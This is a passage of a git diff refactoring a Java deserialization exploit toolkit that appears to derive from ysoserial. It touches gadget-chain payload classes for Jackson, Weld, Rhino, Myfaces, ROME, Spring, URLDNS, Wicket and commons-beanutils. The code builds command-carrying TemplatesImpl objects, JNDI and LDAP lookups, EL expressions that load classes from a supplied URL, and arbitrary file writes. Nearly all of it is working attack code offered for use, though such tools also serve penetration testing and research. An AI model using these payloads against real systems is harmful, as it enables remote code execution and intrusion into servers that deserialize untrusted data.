(InvocationHandler) constructor.newInstance(advisedSupport); - Object proxy = Proxy.newProxyInstance(ClassLoader.getSystemClassLoader(), new Class[]{DataSource.class}, handler); - return proxy; + return Proxy.newProxyInstance(ClassLoader.getSystemClassLoader(), new Class[]{DataSource.class}, handler); } public static Object makeAopProxy(String singletonTargetSourceClassName, String advisedSupportClassName, String jdkDynamicAopProxy, Class superClass, Object targetObject) throws Exception { @@ -79,8 +74,7 @@ public class Jackson3 implements ObjectPayload { Constructor constructor = ThirdLibsClassLoader.loadClass_(jdkDynamicAopProxy).getConstructor(advisedSupportClazz); constructor.setAccessible(true); InvocationHandler handler = (InvocationHandler) constructor.newInstance(advisedSupport); - Object proxy = Proxy.newProxyInstance(ClassLoader.getSystemClassLoader(), new Class[]{superClass}, handler); - return proxy; + return Proxy.newProxyInstance(ClassLoader.getSystemClassLoader(), new Class[]{superClass}, handler); } public static Object getEventListenerList(Object obj) throws Exception { @@ -90,7 +84,9 @@ public class Jackson3 implements ObjectPayload { CtClass ctEventListenerList = insertField( "javax.swing.event.EventListenerList", "private static final long serialVersionUID = -" + sUID1 + "L;"); - Object list = ctEventListenerList.toClass(new SuClassLoader()).newInstance(); + Object list = ctEventListenerList.toClass( + new SuClassLoader(),SuClassLoader.class.getProtectionDomain() + ).newInstance(); //>=6.1.0 为-1045223116463488483 //<=6.0.23为-2077529998244066750 @@ -98,7 +94,9 @@ public class Jackson3 implements ObjectPayload { CtClass ctUndoManager = insertField( "javax.swing.undo.UndoManager", "private static final long serialVersionUID = -" + sUID2 + "L;"); - Object undomanager = ctUndoManager.toClass(new SuClassLoader()).newInstance(); + Object undomanager = ctUndoManager.toClass( + new SuClassLoader(),SuClassLoader.class.getProtectionDomain() + ).newInstance(); //取出UndoManager类的父类CompoundEdit类的edits属性里的vector对象,并把需要触发toString的类add进去。 Vector vector = (Vector) getFieldValue(undomanager, "edits"); @@ -119,15 +117,6 @@ public class Jackson3 implements ObjectPayload { } - //ArrayList classes = new ArrayList<>(); - //classes.add(TemplatesImpl.class); - //classes.add(POJONode.class); - //classes.add(EventListenerList.class); - //classes.add(Jackson3.class); - //classes.add(Field.class); - //classes.add(Method.class); - //new jdk17Bypass().bypassModule(classes); - POJONode node = new POJONode(makeTemplatesImplAopProxy(command)); diff --git a/src/main/java/com/qi4l/JYso/gadgets/Jackson4.java b/src/main/java/com/qi4l/JYso/gadgets/Jackson4.java index a738668..41eaab0 100644 --- a/src/main/java/com/qi4l/JYso/gadgets/Jackson4.java +++ b/src/main/java/com/qi4l/JYso/gadgets/Jackson4.java @@ -12,10 +12,11 @@ import javassist.CtMethod; import java.util.HashMap; import static com.qi4l.JYso.gadgets.Jackson3.makeTemplatesImplAopProxy; -import static com.qi4l.JYso.gadgets.utils.Utils.makeMap; //Jackson1链的JDK17改造 + +@SuppressWarnings({"rawtypes", "unchecked","unused"}) @Dependencies({"spring-apo:6.2.10"}) @Authors({Authors.QI4L}) public class Jackson4 implements ObjectPayload { @@ -38,7 +39,6 @@ public class Jackson4 implements ObjectPayload { map1.put("zZ", xString); map2.put("yy", xString); map2.put("zZ", node); - HashMap hashmap = makeMap(map1, map2); - return hashmap; + return com.qi4l.JYso.gadgets.utils.Utils.makeMap(map1, map2); } } diff --git a/src/main/java/com/qi4l/JYso/gadgets/JacksonLdapAttr.java b/src/main/java/com/qi4l/JYso/gadgets/JacksonLdapAttr.java index 8baea27..1739399 100644 --- a/src/main/java/com/qi4l/JYso/gadgets/JacksonLdapAttr.java +++ b/src/main/java/com/qi4l/JYso/gadgets/JacksonLdapAttr.java @@ -4,6 +4,8 @@ import com.fasterxml.jackson.databind.node.POJONode; import javassist.ClassPool; import javassist.CtClass; import javassist.CtMethod; +import org.slf4j.Logger; +import org.slf4j.LoggerFactory; import javax.management.BadAttributeValueExpException; import javax.naming.CompositeName; @@ -11,7 +13,10 @@ import javax.naming.directory.BasicAttribute; import java.lang.reflect.Constructor; import java.lang.reflect.Field; +@SuppressWarnings({"rawtypes", "unchecked","unused"}) public class JacksonLdapAttr implements ObjectPayload { + private static final Logger log = LoggerFactory.getLogger(JacksonLdapAttr.class); + @Override public Object getObject(String command) throws Exception { @@ -31,7 +36,7 @@ public class JacksonLdapAttr implements ObjectPayload { try { Class clazz = Class.forName("com.sun.jndi.ldap.LdapAttribute"); - Constructor clazz_cons = clazz.getDeclaredConstructor(new Class[]{String.class}); + Constructor clazz_cons = clazz.getDeclaredConstructor(String.class); clazz_cons.setAccessible(true); BasicAttribute la = (BasicAttribute) clazz_cons.newInstance(new Object[]{"exp"}); Field bcu_fi = clazz.getDeclaredField("baseCtxURL"); @@ -50,7 +55,7 @@ public class JacksonLdapAttr implements ObjectPayload { valfield.set(val, node); return val; } catch (Exception e) { - e.printStackTrace(); + log.error("e: ", e); } return null; } diff --git a/src/main/java/com/qi4l/JYso/gadgets/JavassistWeld1.java b/src/main/java/com/qi4l/JYso/gadgets/JavassistWeld1.java index 35b8f0b..9d244c2 100644 --- a/src/main/java/com/qi4l/JYso/gadgets/JavassistWeld1.java +++ b/src/main/java/com/qi4l/JYso/gadgets/JavassistWeld1.java @@ -17,7 +17,6 @@ import org.jboss.weld.interceptor.spi.instance.InterceptorInstantiator; import org.jboss.weld.interceptor.spi.metadata.InterceptorReference; import org.jboss.weld.interceptor.spi.metadata.MethodMetadata; import org.jboss.weld.interceptor.spi.model.InterceptionModel; -import org.jboss.weld.interceptor.spi.model.InterceptionType; import java.lang.reflect.Constructor; import java.util.*; @@ -26,7 +25,7 @@ import java.util.*; /* by @matthias_kaiser */ -@SuppressWarnings({"rawtypes", "unchecked"}) +@SuppressWarnings({"rawtypes", "unchecked","unused"}) @Dependencies({"javassist:javassist:3.12.1.GA", "org.jboss.weld:weld-core:1.1.33.Final", "javax.enterprise:cdi-api:1.0-SP1", "javax.interceptor:javax.interceptor-api:3.1", "org.jboss.interceptor:jboss-interceptor-spi:2.0.0.Final", "org.slf4j:slf4j-api:1.7.21"}) @@ -34,15 +33,29 @@ import java.util.*; public class JavassistWeld1 implements ObjectPayload { public Object getObject(String command) throws Exception { - final Object tpl; - tpl = Gadgets.createTemplatesImpl(command); + + return get_chain(command, org.jboss.weld.interceptor.spi.model.InterceptionType.POST_ACTIVATE, null); + } + + static Object get_chain( + String command, + org.jboss.weld.interceptor.spi.model.InterceptionType POST_ACTIVATE, + org.jboss.interceptor.spi.model.InterceptionType POST_ACTIVATE1 + ) throws Exception { + Object tpl = Gadgets.createTemplatesImpl(command); InterceptionModelBuilder builder = InterceptionModelBuilder.newBuilderFor(HashMap.class); ReflectiveClassMetadata metadata = (ReflectiveClassMetadata) ReflectiveClassMetadata.of(HashMap.class); InterceptorReference interceptorReference = ClassMetadataInterceptorReference.of(metadata); - Set s = new HashSet(); - s.add(org.jboss.weld.interceptor.spi.model.InterceptionType.POST_ACTIVATE); + Set s = new HashSet<>(); + + if (POST_ACTIVATE != null) { + s.add(POST_ACTIVATE); + } else { + s.add(POST_ACTIVATE1); + } + Constructor defaultMethodMetadataConstructor = DefaultMethodMetadata.class.getDeclaredConstructor(Set.class, MethodReference.class); Reflections.setAccessible(defaultMethodMetadataConstructor); @@ -51,9 +64,14 @@ public class JavassistWeld1 implements ObjectPayload { List list = new ArrayList(); list.add(methodMetadata); - Map> hashMap = new HashMap>(); + Map hashMap = new HashMap<>(); + + if (POST_ACTIVATE != null) { + hashMap.put(POST_ACTIVATE, list); + } else { + hashMap.put(POST_ACTIVATE1, list); + } - hashMap.put(org.jboss.weld.interceptor.spi.model.InterceptionType.POST_ACTIVATE, list); SimpleInterceptorMetadata simpleInterceptorMetadata = new SimpleInterceptorMetadata(interceptorReference, true, hashMap); builder.interceptAll().with(simpleInterceptorMetadata); @@ -61,19 +79,12 @@ public class JavassistWeld1 implements ObjectPayload { InterceptionModel model = builder.build(); HashMap map = new HashMap(); - map.put("ysoserial", "ysoserial"); + map.put("qi4l", "qi4l"); DefaultInvocationContextFactory factory = new DefaultInvocationContextFactory(); - InterceptorInstantiator interceptorInstantiator = new InterceptorInstantiator() { - - public Object createFor(InterceptorReference paramInterceptorReference) { - - return tpl; - } - }; + InterceptorInstantiator interceptorInstantiator = paramInterceptorReference -> tpl; return new InterceptorMethodHandler(map, metadata, model, interceptorInstantiator, factory); - } } diff --git a/src/main/java/com/qi4l/JYso/gadgets/JdbcRowSet.java b/src/main/java/com/qi4l/JYso/gadgets/JdbcRowSet.java index 0ce027b..eb5dc39 100644 --- a/src/main/java/com/qi4l/JYso/gadgets/JdbcRowSet.java +++ b/src/main/java/com/qi4l/JYso/gadgets/JdbcRowSet.java @@ -2,6 +2,7 @@ package com.qi4l.JYso.gadgets; import static com.qi4l.JYso.gadgets.ROMEJDBC.makeJNDIRowSet; +@SuppressWarnings({"unused"}) public class JdbcRowSet implements ObjectPayload { @Override public Object getObject(String command) throws Exception { diff --git a/src/main/java/com/qi4l/JYso/gadgets/Jdk7u21variant.java b/src/main/java/com/qi4l/JYso/gadgets/Jdk7u21variant.java index 3c2c8e5..18857a8 100644 --- a/src/main/java/com/qi4l/JYso/gadgets/Jdk7u21variant.java +++ b/src/main/java/com/qi4l/JYso/gadgets/Jdk7u21variant.java @@ -12,7 +12,7 @@ import java.util.LinkedHashSet; import static com.qi4l.JYso.gadgets.utils.Utils.createProxy; - +@SuppressWarnings({"rawtypes", "unchecked","unused"}) @Authors({"potats0"}) public class Jdk7u21variant implements ObjectPayload { diff --git a/src/main/java/com/qi4l/JYso/gadgets/Jython1.java b/src/main/java/com/qi4l/JYso/gadgets/Jython1.java index 8b5707c..c368d9a 100644 --- a/src/main/java/com/qi4l/JYso/gadgets/Jython1.java +++ b/src/main/java/com/qi4l/JYso/gadgets/Jython1.java @@ -7,7 +7,6 @@ import org.apache.commons.io.FileUtils; import org.python.core.*; import java.io.File; -import java.lang.reflect.InvocationHandler; import java.lang.reflect.Proxy; import java.math.BigInteger; import java.util.Arrays; @@ -37,7 +36,7 @@ import java.util.PriorityQueue; * exception information). */ -@SuppressWarnings({"rawtypes", "unchecked", "restriction"}) +@SuppressWarnings({"rawtypes", "unchecked","unused"}) @Dependencies({"org.python:jython-standalone:2.5.2"}) @Authors({Authors.PWNTESTER, Authors.CSCHNEIDER4711}) public class Jython1 implements ObjectPayload { @@ -91,7 +90,7 @@ public class Jython1 implements ObjectPayload { PyFunction handler = new PyFunction(new PyStringMap(), null, codeobj); // Prepare Trigger Gadget - Comparator comparator = (Comparator) Proxy.newProxyInstance(Comparator.class.getClassLoader(), new Class[]{Comparator.class}, (InvocationHandler) handler); + Comparator comparator = (Comparator) Proxy.newProxyInstance(Comparator.class.getClassLoader(), new Class[]{Comparator.class}, handler); PriorityQueue priorityQueue = new PriorityQueue(2, comparator); Object[] queue = new Object[]{1, 1}; Reflections.setFieldValue(priorityQueue, "queue", queue); diff --git a/src/main/java/com/qi4l/JYso/gadgets/MozillaRhino1.java b/src/main/java/com/qi4l/JYso/gadgets/MozillaRhino1.java index 6fa24a1..7784cf9 100644 --- a/src/main/java/com/qi4l/JYso/gadgets/MozillaRhino1.java +++ b/src/main/java/com/qi4l/JYso/gadgets/MozillaRhino1.java @@ -19,7 +19,7 @@ import java.lang.reflect.Method; by @matthias_kaiser */ -@SuppressWarnings({"unused"}) +@SuppressWarnings({"rawtypes", "unchecked","unused"}) @Dependencies({"rhino:js:1.7R2"}) @Authors({Authors.MATTHIASKAISER}) public class MozillaRhino1 implements ObjectPayload { diff --git a/src/main/java/com/qi4l/JYso/gadgets/MozillaRhino2.java b/src/main/java/com/qi4l/JYso/gadgets/MozillaRhino2.java index 6b4cb4a..2b2039c 100644 --- a/src/main/java/com/qi4l/JYso/gadgets/MozillaRhino2.java +++ b/src/main/java/com/qi4l/JYso/gadgets/MozillaRhino2.java @@ -44,6 +44,7 @@ import java.util.Map; *

* by @_tint0 */ +@SuppressWarnings({"unchecked","unused"}) @Dependencies({"rhino:js:1.7R2"}) @Authors({Authors.TINT0}) public class MozillaRhino2 implements ObjectPayload { @@ -56,7 +57,7 @@ public class MozillaRhino2 implements ObjectPayload { @Override public Object getObject(String command) throws Exception { ScriptableObject dummyScope = new Environment(); - Map associatedValues = new Hashtable(); + Map associatedValues = new Hashtable<>(); associatedValues.put("ClassCache", Reflections.createWithoutConstructor(ClassCache.class)); Reflections.setFieldValue(dummyScope, "associatedValues", associatedValues); diff --git a/src/main/java/com/qi4l/JYso/gadgets/Myfaces1.java b/src/main/java/com/qi4l/JYso/gadgets/Myfaces1.java index fcd59b6..e6bb153 100644 --- a/src/main/java/com/qi4l/JYso/gadgets/Myfaces1.java +++ b/src/main/java/com/qi4l/JYso/gadgets/Myfaces1.java @@ -3,7 +3,6 @@ package com.qi4l.JYso.gadgets; import com.qi4l.JYso.gadgets.annotation.Authors; import com.qi4l.JYso.gadgets.annotation.Dependencies; import com.qi4l.JYso.gadgets.utils.DynamicDependencies; -import com.qi4l.JYso.gadgets.utils.Gadgets; import com.qi4l.JYso.gadgets.utils.Reflections; import org.apache.myfaces.context.servlet.FacesContextImpl; import org.apache.myfaces.context.servlet.FacesContextImplBase; @@ -14,8 +13,6 @@ import org.apache.myfaces.view.facelets.el.ValueExpressionMethodExpression; import javax.el.ELContext; import javax.el.ExpressionFactory; import javax.el.ValueExpression; -import javax.servlet.ServletContext; -import javax.servlet.ServletRequest; import javax.servlet.ServletResponse; import static com.qi4l.JYso.gadgets.utils.Utils.makeMap; @@ -37,6 +34,8 @@ import static com.qi4l.JYso.gadgets.utils.Utils.makeMap; * * @author mbechler */ + +@SuppressWarnings({"unused"}) @Dependencies @Authors({Authors.MBECHLER}) public class Myfaces1 implements ObjectPayload, DynamicDependencies { @@ -65,7 +64,7 @@ public class Myfaces1 implements ObjectPayload, DynamicDependencies { } public static Object makeExpressionPayload(String expr) throws Exception { - FacesContextImpl fc = new FacesContextImpl((ServletContext) null, (ServletRequest) null, (ServletResponse) null); + FacesContextImpl fc = new FacesContextImpl(null, null, (ServletResponse) null); ELContext elContext = new FacesELContext(new CompositeELResolver(), fc); Reflections.getField(FacesContextImplBase.class, "_elContext").set(fc, elContext); ExpressionFactory expressionFactory = ExpressionFactory.newInstance(); diff --git a/src/main/java/com/qi4l/JYso/gadgets/Myfaces2.java b/src/main/java/com/qi4l/JYso/gadgets/Myfaces2.java index 841dab8..119e407 100644 --- a/src/main/java/com/qi4l/JYso/gadgets/Myfaces2.java +++ b/src/main/java/com/qi4l/JYso/gadgets/Myfaces2.java @@ -2,6 +2,7 @@ package com.qi4l.JYso.gadgets; import com.qi4l.JYso.gadgets.utils.DynamicDependencies; +@SuppressWarnings({"unused"}) public class Myfaces2 implements ObjectPayload, DynamicDependencies { @Override public Object getObject(String command) throws Exception { @@ -15,15 +16,14 @@ public class Myfaces2 implements ObjectPayload, DynamicDependencies { String className = command.substring(sep + 1); // based on http://danamodio.com/appsec/research/spring-remote-code-with-expression-language-injection/ - String expr = "${request.setAttribute('arr',''.getClass().forName('java.util.ArrayList').newInstance())}"; + StringBuilder expr = new StringBuilder("${request.setAttribute('arr',''.getClass().forName('java.util.ArrayList').newInstance())}"); // if we add fewer than the actual classloaders we end up with a null entry for (int i = 0; i < 100; i++) { - expr += "${request.getAttribute('arr').add(request.servletContext.getResource('/').toURI().create('" + url + "').toURL())}"; + expr.append("${request.getAttribute('arr').add(request.servletContext.getResource('/').toURI().create('").append(url).append("').toURL())}"); } - expr += "${request.getClass().getClassLoader().newInstance(request.getAttribute('arr')" - + ".toArray(request.getClass().getClassLoader().getURLs())).loadClass('" + className + "').newInstance()}"; + expr.append("${request.getClass().getClassLoader().newInstance(request.getAttribute('arr')" + ".toArray(request.getClass().getClassLoader().getURLs())).loadClass('").append(className).append("').newInstance()}"); - return Myfaces1.makeExpressionPayload(expr); + return Myfaces1.makeExpressionPayload(expr.toString()); } } diff --git a/src/main/java/com/qi4l/JYso/gadgets/ROME.java b/src/main/java/com/qi4l/JYso/gadgets/ROME.java index 40c683c..4e2bd3e 100644 --- a/src/main/java/com/qi4l/JYso/gadgets/ROME.java +++ b/src/main/java/com/qi4l/JYso/gadgets/ROME.java @@ -27,6 +27,7 @@ import static com.qi4l.JYso.gadgets.utils.Utils.makeMap; * @author mbechler */ +@SuppressWarnings({"unused"}) @Dependencies("rome:rome:1.0") @Authors({Authors.MBECHLER}) public class ROME implements ObjectPayload { diff --git a/src/main/java/com/qi4l/JYso/gadgets/ROME2.java b/src/main/java/com/qi4l/JYso/gadgets/ROME2.java index 4ab5cd6..07ad839 100644 --- a/src/main/java/com/qi4l/JYso/gadgets/ROME2.java +++ b/src/main/java/com/qi4l/JYso/gadgets/ROME2.java @@ -11,6 +11,7 @@ import java.util.Map; import static com.qi4l.JYso.gadgets.utils.Utils.makeMap; import static com.qi4l.JYso.gadgets.utils.Utils.createMap; +@SuppressWarnings({"rawtypes", "unchecked","unused"}) @Dependencies("rome:rome:1.0") public class ROME2 implements ObjectPayload { @Override diff --git a/src/main/java/com/qi4l/JYso/gadgets/ROME3.java b/src/main/java/com/qi4l/JYso/gadgets/ROME3.java index 0fa6b93..5a07b8c 100644 --- a/src/main/java/com/qi4l/JYso/gadgets/ROME3.java +++ b/src/main/java/com/qi4l/JYso/gadgets/ROME3.java @@ -9,6 +9,7 @@ import com.sun.syndication.feed.impl.ObjectBean; import javax.management.BadAttributeValueExpException; import javax.xml.transform.Templates; +@SuppressWarnings({"unused"}) @Authors({"Firebasky"}) @Dependencies("rome:rome:1.0") public class ROME3 implements ObjectPayload { diff --git a/src/main/java/com/qi4l/JYso/gadgets/ROMEJDBC.java b/src/main/java/com/qi4l/JYso/gadgets/ROMEJDBC.java index 7b48a9d..b43f479 100644 --- a/src/main/java/com/qi4l/JYso/gadgets/ROMEJDBC.java +++ b/src/main/java/com/qi4l/JYso/gadgets/ROMEJDBC.java @@ -7,7 +7,7 @@ import com.sun.rowset.JdbcRowSetImpl; import static com.qi4l.JYso.gadgets.utils.Utils.makeMap; - +@SuppressWarnings({"unused"}) public class ROMEJDBC implements ObjectPayload { // Assuming JDKUtil class with makeJNDIRowSet method public static JdbcRowSetImpl makeJNDIRowSet(String jndiUrl) throws Exception { diff --git a/src/main/java/com/qi4l/JYso/gadgets/RenderedImage.java b/src/main/java/com/qi4l/JYso/gadgets/RenderedImage.java index e233b19..a77ff54 100644 --- a/src/main/java/com/qi4l/JYso/gadgets/RenderedImage.java +++ b/src/main/java/com/qi4l/JYso/gadgets/RenderedImage.java @@ -9,6 +9,7 @@ import java.awt.image.BufferedImage; import java.io.ByteArrayInputStream; import java.net.InetAddress; +@SuppressWarnings({"unused"}) @Dependencies({"javax.media:jai-codec-1.1.3"}) public class RenderedImage implements ObjectPayload { public static byte hexToByte(String inHex) { diff --git a/src/main/java/com/qi4l/JYso/gadgets/Resin.java b/src/main/java/com/qi4l/JYso/gadgets/Resin.java index 3daa9db..17dd1db 100644 --- a/src/main/java/com/qi4l/JYso/gadgets/Resin.java +++ b/src/main/java/com/qi4l/JYso/gadgets/Resin.java @@ -13,6 +13,7 @@ import java.util.Hashtable; import static com.qi4l.JYso.gadgets.utils.Utils.makeMap; +@SuppressWarnings({"unused"}) public class Resin implements ObjectPayload { public static Object makeToStringTrigger(Object o) throws Exception { String unhash = unhash(o.hashCode()); @@ -66,7 +67,7 @@ public class Resin implements ObjectPayload { Reflections.setFieldValue(cpe, "stackTrace", null); //考虑换成其他的 URI uri = new URI(command); - String args[] = {uri.getScheme() + "://" + uri.getAuthority(), uri.getPath().substring(1)}; + String[] args = {uri.getScheme() + "://" + uri.getAuthority(), uri.getPath().substring(1)}; cpe.setResolvedObj(new Reference("Foo", args[1], args[0])); Reflections.setFieldValue(cpe, "suppressedExceptions", null); diff --git a/src/main/java/com/qi4l/JYso/gadgets/SignedObject.java b/src/main/java/com/qi4l/JYso/gadgets/SignedObject.java index 6148ef2..abee977 100644 --- a/src/main/java/com/qi4l/JYso/gadgets/SignedObject.java +++ b/src/main/java/com/qi4l/JYso/gadgets/SignedObject.java @@ -1,7 +1,6 @@ package com.qi4l.JYso.gadgets; import cn.hutool.core.comparator.PropertyComparator; -import com.qi4l.JYso.gadgets.utils.Gadgets; import com.qi4l.JYso.gadgets.utils.Reflections; import com.qi4l.JYso.gadgets.utils.SignedObjectUtils; import com.qi4l.JYso.gadgets.utils.dirty.DirtyDataWrapper; @@ -48,6 +47,8 @@ import static java.lang.Class.forName; * 最后2个类型是脏数据类型和长度,为0则不混淆 * @author QI4L */ + +@SuppressWarnings({"rawtypes", "unchecked","unused"}) public class SignedObject implements ObjectPayload { public Object getObject(String command) throws Exception { diff --git a/src/main/java/com/qi4l/JYso/gadgets/Spring1.java b/src/main/java/com/qi4l/JYso/gadgets/Spring1.java index 2d7c9cd..9ed0de7 100644 --- a/src/main/java/com/qi4l/JYso/gadgets/Spring1.java +++ b/src/main/java/com/qi4l/JYso/gadgets/Spring1.java @@ -67,7 +67,7 @@ public class Spring1 implements ObjectPayload { forName("org.springframework.core.SerializableTypeWrapper$TypeProvider")); final Constructor mitpCtor = Reflections.getFirstCtor("org.springframework.core.SerializableTypeWrapper$MethodInvokeTypeProvider"); - final Object mitp = mitpCtor.newInstance(typeProviderProxy, Object.class.getMethod("getClass", new Class[]{}), 0); + final Object mitp = mitpCtor.newInstance(typeProviderProxy, Object.class.getMethod("getClass"), 0); Reflections.setFieldValue(mitp, "methodName", "newTransformer"); return mitp; diff --git a/src/main/java/com/qi4l/JYso/gadgets/Spring2.java b/src/main/java/com/qi4l/JYso/gadgets/Spring2.java index bf15cf0..f8068c4 100644 --- a/src/main/java/com/qi4l/JYso/gadgets/Spring2.java +++ b/src/main/java/com/qi4l/JYso/gadgets/Spring2.java @@ -29,6 +29,7 @@ import static java.lang.Class.forName; * @author mbechler */ +@SuppressWarnings({"unused"}) @Dependencies({ "org.springframework:spring-core:4.1.4.RELEASE", "org.springframework:spring-aop:4.1.4.RELEASE", // test deps diff --git a/src/main/java/com/qi4l/JYso/gadgets/Spring3.java b/src/main/java/com/qi4l/JYso/gadgets/Spring3.java index dce2e25..59bc26d 100644 --- a/src/main/java/com/qi4l/JYso/gadgets/Spring3.java +++ b/src/main/java/com/qi4l/JYso/gadgets/Spring3.java @@ -3,12 +3,13 @@ package com.qi4l.JYso.gadgets; import com.qi4l.JYso.gadgets.annotation.Dependencies; import org.springframework.transaction.jta.JtaTransactionManager; +@SuppressWarnings({"unused"}) @Dependencies({"org.springframework:spring-tx:5.2.3.RELEASE", "org.springframework:spring-context:5.2.3.RELEASE", "javax.transaction:javax.transaction-api:1.2"}) public class Spring3 implements ObjectPayload { @Override public Object getObject(String command) throws Exception { - String jndiURL = null; + String jndiURL; if (command.toLowerCase().startsWith("jndi:")) { jndiURL = command.substring(5); } else { diff --git a/src/main/java/com/qi4l/JYso/gadgets/URLDNS.java b/src/main/java/com/qi4l/JYso/gadgets/URLDNS.java index cf51795..80d6405 100644 --- a/src/main/java/com/qi4l/JYso/gadgets/URLDNS.java +++ b/src/main/java/com/qi4l/JYso/gadgets/URLDNS.java @@ -33,6 +33,8 @@ import java.util.List; * HashMap.hash() * URL.hashCode() */ + +@SuppressWarnings({"unused"}) @Dependencies() @Authors({Authors.GEBL}) public class URLDNS implements ObjectPayload { @@ -66,14 +68,14 @@ public class URLDNS implements ObjectPayload { }; - public static List list = new LinkedList(); + public static List list = new LinkedList<>(); public static Object getURLDNSGadget(String urls, String clazzName) throws Exception { - HashMap hashMap = new HashMap(); + HashMap hashMap = new HashMap<>(); URL url = new URL("http://" + urls); Field f = Class.forName("java.net.URL").getDeclaredField("hashCode"); f.setAccessible(true); - f.set(url, Integer.valueOf(0)); + f.set(url, 0); Class clazz = null; if (clazzName != null) { @@ -85,7 +87,7 @@ public class URLDNS implements ObjectPayload { } hashMap.put(url, clazz); - f.set(url, Integer.valueOf(-1)); + f.set(url, -1); return hashMap; } @@ -543,8 +545,8 @@ public class URLDNS implements ObjectPayload { break; case "all": - for (int i = 0; i < defaultClass.length; i++) { - setList(defaultClass[i], dnsLog); + for (String aClass : defaultClass) { + setList(aClass, dnsLog); } break; default: diff --git a/src/main/java/com/qi4l/JYso/gadgets/UnixPrintService.java b/src/main/java/com/qi4l/JYso/gadgets/UnixPrintService.java index fef50e5..d62cf5e 100644 --- a/src/main/java/com/qi4l/JYso/gadgets/UnixPrintService.java +++ b/src/main/java/com/qi4l/JYso/gadgets/UnixPrintService.java @@ -6,6 +6,8 @@ import java.lang.reflect.Constructor; //jdk高版本移除此类 //通过getter方法触发命令注入 //本地测试 zulu8u345 存在此类 + +@SuppressWarnings({"unused"}) public class UnixPrintService implements ObjectPayload{ @Override public Object getObject(String command) throws Exception { diff --git a/src/main/java/com/qi4l/JYso/gadgets/UnixPrintServiceLookup.java b/src/main/java/com/qi4l/JYso/gadgets/UnixPrintServiceLookup.java index 25bc633..d3a6b38 100644 --- a/src/main/java/com/qi4l/JYso/gadgets/UnixPrintServiceLookup.java +++ b/src/main/java/com/qi4l/JYso/gadgets/UnixPrintServiceLookup.java @@ -5,6 +5,7 @@ import sun.misc.Unsafe; import java.lang.reflect.Field; +@SuppressWarnings({"unused"}) public class UnixPrintServiceLookup implements ObjectPayload{ @Override public Object getObject(String command) throws Exception { diff --git a/src/main/java/com/qi4l/JYso/gadgets/Vaadin1.java b/src/main/java/com/qi4l/JYso/gadgets/Vaadin1.java index 15753e4..8c6569b 100644 --- a/src/main/java/com/qi4l/JYso/gadgets/Vaadin1.java +++ b/src/main/java/com/qi4l/JYso/gadgets/Vaadin1.java @@ -64,7 +64,7 @@ public class Vaadin1 implements ObjectPayload { templates = Gadgets.createTemplatesImpl(command); PropertysetItem pItem = new PropertysetItem(); - NestedMethodProperty nmprop = new NestedMethodProperty(templates, "outputProperties"); + NestedMethodProperty nmprop = new NestedMethodProperty<>(templates, "outputProperties"); pItem.addItemProperty("outputProperties", nmprop); BadAttributeValueExpException b = new BadAttributeValueExpException(""); diff --git a/src/main/java/com/qi4l/JYso/gadgets/Wicket1.java b/src/main/java/com/qi4l/JYso/gadgets/Wicket1.java index ddbe5df..b602988 100644 --- a/src/main/java/com/qi4l/JYso/gadgets/Wicket1.java +++ b/src/main/java/com/qi4l/JYso/gadgets/Wicket1.java @@ -9,8 +9,8 @@ import org.apache.wicket.util.io.ThresholdingOutputStream; import org.apache.wicket.util.upload.DiskFileItem; import java.io.File; -import java.io.IOException; import java.io.OutputStream; +import java.nio.charset.StandardCharsets; import java.util.Arrays; /** @@ -41,24 +41,25 @@ import java.util.Arrays; * $ cat /tmp/upload_3805815b_2d50_4e00_9dae_a854d5a0e614_479431761.tmp * blue lobster */ +@SuppressWarnings({"unused"}) @Dependencies({"org.apache.wicket:wicket-util:6.23.0", "org.slf4j:slf4j-api:1.6.4"}) @Authors({Authors.JACOBAINES}) public class Wicket1 implements ReleaseableObjectPayload { - private static DiskFileItem copyAndDelete(String copyAndDelete, String copyTo) throws IOException, Exception { + private static DiskFileItem copyAndDelete(String copyAndDelete, String copyTo) throws Exception { return makePayload(0, copyTo, copyAndDelete, new byte[1]); } // writes data to a random filename (update__.tmp) - private static DiskFileItem write(String dir, byte[] data) throws IOException, Exception { + private static DiskFileItem write(String dir, byte[] data) throws Exception { return makePayload(data.length + 1, dir, dir + "/whatever", data); } // writes data to an arbitrary file - private static DiskFileItem writeOldJRE(String file, byte[] data) throws IOException, Exception { + private static DiskFileItem writeOldJRE(String file, byte[] data) throws Exception { return makePayload(data.length + 1, file + "\0", file, data); } - private static DiskFileItem makePayload(int thresh, String repoPath, String filePath, byte[] data) throws IOException, Exception { + private static DiskFileItem makePayload(int thresh, String repoPath, String filePath, byte[] data) throws Exception { // if thresh < written length, delete outputFile after copying to repository temp file // otherwise write the contents to repository temp file File repository = new File(repoPath); @@ -84,11 +85,11 @@ public class Wicket1 implements ReleaseableObjectPayload { if ("copyAndDelete".equals(parts[0])) { return copyAndDelete(parts[1], parts[2]); } else if ("write".equals(parts[0])) { - return write(parts[1], parts[2].getBytes("US-ASCII")); + return write(parts[1], parts[2].getBytes(StandardCharsets.US_ASCII)); } else if ("writeB64".equals(parts[0])) { return write(parts[1], Base64.decodeBase64(parts[2])); } else if ("writeOld".equals(parts[0])) { - return writeOldJRE(parts[1], parts[2].getBytes("US-ASCII")); + return writeOldJRE(parts[1], parts[2].getBytes(StandardCharsets.US_ASCII)); } else if ("writeOldB64".equals(parts[0])) { return writeOldJRE(parts[1], Base64.decodeBase64(parts[2])); } diff --git a/src/main/java/com/qi4l/JYso/gadgets/cb160.java b/src/main/java/com/qi4l/JYso/gadgets/cb160.java index 23354df..d4d6787 100644 --- a/src/main/java/com/qi4l/JYso/gadgets/cb160.java +++ b/src/main/java/com/qi4l/JYso/gadgets/cb160.java @@ -12,7 +12,7 @@ import java.util.PriorityQueue; import static com.qi4l.JYso.gadgets.utils.InjShell.insertField; import static com.qi4l.JYso.gadgets.utils.jdk17Bypass.patchModule; -@SuppressWarnings("rawtypes") +@SuppressWarnings({"rawtypes", "unchecked","unused"}) @Dependencies({"commons-beanutils:commons-beanutils:1.6.0"}) public class cb160 implements ObjectPayload { @@ -23,8 +23,10 @@ public class cb160 implements ObjectPayload { ClassPool pool = ClassPool.getDefault(); CtClass ctClass = pool.get("org.apache.commons.beanutils.BeanComparator"); insertField(ctClass, "serialVersionUID", "private static final long serialVersionUID = 2573799559215537819;"); + return getCbSink_1(ctClass,template); + } - + public static Object getCbSink_1(CtClass ctClass, Object template) throws Exception { Class beanCompareClazz = ctClass.toClass(); BeanComparator comparator = (BeanComparator) beanCompareClazz.newInstance(); final PriorityQueue queue = new PriorityQueue(2, comparator); diff --git a/src/main/java/com/qi4l/JYso/gadgets/cb183.java 